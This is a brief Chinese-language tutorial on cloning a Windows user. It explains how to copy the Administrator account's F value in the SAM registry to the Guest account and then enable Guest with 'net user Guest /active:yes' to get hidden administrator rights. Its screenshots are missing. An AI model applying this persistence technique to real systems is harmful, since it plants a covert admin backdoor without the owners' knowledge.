Windows克隆用户

运行输入regedit打开注册表

获取SAM权限：

​

将Administrator的UID

路径：HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\

将Administrator的UID的F值复制给Guest的UID的F值：

​

激活该用户

命令行输入net user Guest /active:yes

​

​

切到Guest用户可以观察到已经获得管理员权限：